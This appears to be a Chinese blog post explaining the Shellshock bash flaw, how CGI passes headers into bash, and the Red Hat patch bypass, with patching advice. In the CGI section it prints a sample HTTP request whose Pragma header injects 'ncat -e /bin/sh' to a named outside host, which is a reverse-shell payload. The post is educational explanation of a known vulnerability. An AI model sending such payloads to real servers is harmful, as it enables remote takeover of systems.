这几天有一个关于bash的安全漏洞在网上闹得沸沸扬扬,一看真的不得 了,检查了一遍我自己的网站和服务,还好没有受到影响。网上不断有人在 吹,这个漏洞比之前的Heartbleed还要严重,那它到底是怎么回事?

用环境变量向子进程传递数据

或许各位都已经知道了,在Unix、Linux甚至是Windows下,都可以通过环境变 量向新建的进程传递数据, 而且这是很常用的做法,就像这样:

1
2
3
$ env v='hello' bash -c 'echo $v'
hello
$ _

这里v成为了bash子进程的环境变量,可以被bash直接引用。当然这不止局 限于父进程也是bash的情况。我们可以换成Python:

1
2
3
4
5
6
7
8
$ python3

....省略版本信息....

>>> import os
>>> os.execve('/bin/bash', ['bash', '-c', 'echo $v'], {'v': 'hello'})
hello
$ _

用环境变量向子进程传递代码

其实除了数据,环境变量还可以包含shell程序——好吧我也是看到Shellshock 漏洞之后才知道原来bash还有这种feature的:

1
2
3
$ env v='() { echo hello; }' bash -c 'v'
hello
$ _

是不是碉堡了?在子进程里直接引用环境变量的名字,就可以调用本来包含 在环境变量里的代码。相应地,这个环境变量在子进程里不再存在了:

1
$ env v='() { echo hello; }' bash -c 'echo $v'

也就是说bash子进程把环境变量解析成函数,然后删除掉了。

Shellshock的成因

有人发现下面这段代码能够“正常”执行,只是执行结果很诡异:

1
2
3
$ env v='() { echo hello; }; echo vulnerable;' bash -c ':;'
vulnerable
$ _

这里可以看到即便子进程根本没有调用v函数,环境变量里的一部分代码 也被执行了。这是因为bash子进程在将环境变量值解析为函数的时候,将 }之后的代码也一并执行了,而不管这些代码是不是函数定义的一部分。

这个问题在其他程序exec一个bash进程的时候也会出现:

1
2
3
4
5
6
7
8
$ python3

....省略版本信息....

>>> import os
>>> os.execve('/bin/bash', ['bash', '-c', ':;'], {'v': '() { echo hello; }; echo vulnerable;'})
vulnerable
$ _

CGI的请求处理过程

CGI曾经是生成动态网页的主流标准,随着C10K problem以及各 种异步框架(像是node.js)的出现,才渐渐淡出视野。但即使是现在也依 然有很多很多的网站依然在使用CGI技术。

有的CGI框架在处理请求时,首先会fork出一个bash进程(而不是对应语言 的解析器进程),不管页面的具体实现是Perl、Python还是别的什么东西。 然后header之类的HTTP请求参数被扔到环境变量里传递到这个bash子进程 里去,再由这个bash进程去调用具体的页面语言解析器。

Shellshock带来的问题在于,环境变量里出现的程序代码可以被立即执行, 而基本上所有的CGI框架都没有对环境变量的值做检查。所以我们可以构造 这样一个HTTP请求进行攻击:

1
2
3
GET / http/1.1
Host: www.google.com
Pragma: () { :; }; ncat -e /bin/sh worm.hole.com 9999;

这样只要CGI框架fork了一个bash进程并且把Pragma作为环境变量传递过 去了,我们就得到一个remote shell了。

免疫的和有危险的系统

就网站来说,使用主流异步服务器/框架——像nginx、node.js——的基本上是 安全的,只要别在业务逻辑里随便fork bash进程一般就没有问题。

而使用CGI的网站就比较危险了,请检查CGI框架是不是直接调用的语言解 析器。如果中间套了一个bash进程的话,就铁定是中招了。不过到今天为 止应该大多数的发行版都已经更新了打过补丁的bash,只要'yum'或者 'apt-get'一下就够了。

除了网站服务器以外,其他利用了环境变量的程序也是有危险性的,像已 经发现的就有OpenSSH、DHCPClient以及各种shell脚本。

一个插曲

在Redhat给bash打了第一个补丁之后,有人发现这个补丁检查了函数定 义的边界,但是并没有处理函数解析过程中发生的错误,于是又有了这 么一段攻击代码:

1
env X='() { (a)=>\' sh -c "echo date"; cat echo

这段代码很有意思,即便函数定义不完整而且会报错,date命令 还是被执行了。Redhat随后再发了一个补丁才把这个问题也修好。

Coolshell上有一篇文章也解释了Shellshock,而且有对上面这段代 码的进一步说明。